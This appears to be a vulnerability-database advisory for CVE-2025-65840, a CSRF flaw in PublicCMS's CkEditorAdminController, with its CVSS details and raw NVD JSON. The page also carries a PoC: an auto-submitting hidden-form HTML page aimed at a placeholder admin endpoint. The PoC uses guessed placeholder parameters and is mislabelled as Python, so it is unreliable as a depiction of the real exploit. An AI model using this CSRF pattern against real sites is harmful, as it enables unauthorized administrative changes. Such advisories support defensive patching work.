Security Vulnerability Report
中文
CVE-2025-65840 CVSS 8.8 HIGH

CVE-2025-65840

Published: 2025-12-01 21:15:52
Last Modified: 2025-12-04 18:58:21

Description

PublicCMS V5.202506.b is vulnerable to Cross Site Request Forgery (CSRF) in the CkEditorAdminController.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:publiccms:publiccms:5.202506.b:*:*:*:*:*:*:* - VULNERABLE
PublicCMS V5.202506.b

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2025-65840 --> <!-- This PoC demonstrates the CSRF vulnerability in PublicCMS CkEditorAdminController --> <!DOCTYPE html> <html> <head> <title>CSRF Attack PoC - CVE-2025-65840</title> </head> <body> <h1>CSRF PoC for PublicCMS CkEditorAdminController</h1> <p>This is a demonstration of the CSRF vulnerability in PublicCMS.</p> <!-- Auto-submit form targeting CkEditorAdminController --> <form id="csrfForm" action="http://target-site.com/admin/cms/ckeditoradmin/save" method="POST" style="display:none;"> <!-- Replace with actual vulnerable endpoint parameters --> <input type="hidden" name="config" value="malicious_config"> <input type="hidden" name="file" value="malicious_file.js"> <input type="hidden" name="content" value="// malicious code"> </form> <script> // Auto-submit the form when page loads document.getElementById('csrfForm').submit(); </script> <!-- Alternative: Using img tag for GET request --> <!-- <img src="http://target-site.com/admin/cms/ckeditoradmin/save?config=malicious" style="display:none;"> --> <p>If you see this message, the CSRF attack has been executed.</p> </body> </html> <!-- Mitigation: Add CSRF token to all state-changing requests --> <!-- Example: <input type="hidden" name="csrf_token" value="${csrfToken}"> -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65840", "sourceIdentifier": "[email protected]", "published": "2025-12-01T21:15:52.320", "lastModified": "2025-12-04T18:58:21.010", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PublicCMS V5.202506.b is vulnerable to Cross Site Request Forgery (CSRF) in the CkEditorAdminController."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:publiccms:publiccms:5.202506.b:*:*:*:*:*:*:*", "matchCriteriaId": "A4C1250A-E966-4C67-AFC2-0B73875DC061"}]}]}], "references": [{"url": "https://github.com/Hyperkopite/PublicCMS_Vulns/blob/main/CSRF_1.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/sanluan/PublicCMS/issues/102", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://github.com/Hyperkopite/PublicCMS_Vulns/blob/main/CSRF_1.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}